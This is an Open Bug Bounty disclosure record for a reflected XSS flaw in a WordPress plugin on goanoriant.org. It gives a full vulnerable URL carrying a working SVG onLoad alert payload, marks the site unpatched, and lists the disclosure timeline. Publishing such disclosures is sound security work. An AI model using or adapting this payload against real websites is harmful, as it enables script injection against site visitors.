Lucene search

K
openbugbountyFakesshOBB:262462
HistoryJul 09, 2017 - 5:47 p.m.

goanoriant.org XSS vulnerability

2017-07-0917:47:00
fakessh
www.openbugbounty.org
11
Vulnerable URL:
http://goanoriant.org/wp-content/plugins/maxigos_wp_plugin/_maxigos/_sample/neo-classic/neo-classic.php?mxL=%22/%3E%3CsvG/onLoad=alert(/OPENBUGBOUNTY/)%3E
Details:
Description Value
Patched: No
Latest check for patch: 01.10.2017
Vulnerability type: XSS
Vulnerability status: Publicly disclosed
Alexa Rank Unknown / Not calculated
VIP website status: No
Check goanoriant.org SSL connection: (Grade: F)
Coordinated Disclosure Timeline:
Description Value
Vulnerability submitted via Open Bug Bounty 9 July, 2017 17:47 GMT
Generic security notifications sent to website owner 9 July, 2017 17:49 GMT
Notification sent to subscribers (without technical details) 9 July, 2017 18:17 GMT
Vulnerability details disclosed by researcher 1 October, 2017 18:21 GMT